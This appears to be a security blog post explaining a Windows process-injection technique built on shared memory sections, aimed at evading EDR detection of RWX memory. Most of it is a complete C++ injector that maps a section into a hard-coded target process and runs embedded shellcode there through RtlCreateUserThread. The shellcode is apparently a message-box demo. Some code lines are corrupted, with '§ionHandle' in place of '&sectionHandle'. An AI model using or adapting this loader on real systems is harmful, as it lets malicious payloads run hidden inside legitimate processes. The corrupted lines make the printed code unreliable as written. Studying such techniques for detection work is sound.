This is yet another technique for injecting payloads into memory. We recognize that the majority of the techniques used involve similar steps. Nowadays, EDR is capable of detecting such sequence patterns in the injection process.
- Open a target process using OpenProcess or NtOpenProcess.
- Allocate Read-Write-eXecute (RWX) memory in a target process using VirtualAllocEx or NtAllocateVirtualMemory.
- Copy a payload to the new memory using WriteProcessMemory or NtWriteVirtualMemory.
- Execute payload.
- De-allocate XRW memory in target process using VirtualFreeEx or NtFreeVirtualMemory.
- Close target process handle with CloseHandle or NtClose
Allocating memory with read, write, and execute permissions is highly questionable. This action could easily raise red flags for the EDR, prompting it to shift its focus to the memory assigned with these permissions. Consequently, the EDR will dedicate its full efforts to scanning the payload being copied or executed from that memory range.
The adversaries display a high level of creativity in their approach. The technique we are about to discuss involves splitting the injection process into two distinct processes with the aim of achieving the same result. The concept is to inject the payload into a specific memory range and execute it without requiring RWX memory permissions. This involves dividing the injection process into two separate parts. The first process creates the RW (PAGE_READWRITE) memory to inject the payload, while the execution takes place in the second process with RX (PAGE_EXECUTE_READ) permissions.
NtCreateSection
it’s basically used to create new memory section, this section will be shared with victim process
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
NtMapViewOfSection
Views are utilized to access shared resources, allowing a process to utilize a section of memory. In certain scenarios, a local view is generated for the local malware process, while a remote view is created for a remote process.
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
Mapped Memory Section in the Malware Process (RW)
Mapped Memory Section in the Legitimate Process (RX)
The memory on both processes are still empty. The next action is to write the memory from the malware. We will write the payload from the malware process because we have RW memory.
After copying the payload from the malware process, it will be directly reflected in the legitimate application.
The payload is executed on the legitimate process.
Below is the complete code. Many sample codes are available on the internet. The following is the simplest one to follow.
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll")
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);
int main()
{
unsigned char buf[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
// create a memory section
fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// create a view of the memory section in the local process
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
// create a view of the memory section in the target process. 5568 is the target PID
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 5568);
fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
// copy shellcode to the local view, which will get reflected in the target process's mapped view
memcpy(localSectionAddress, buf, sizeof(buf));
HANDLE targetThreadHandle = NULL;
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
return 0;
}
Cyber Security Architect | Red/Blue Teaming | Exploit/Malware Analysis 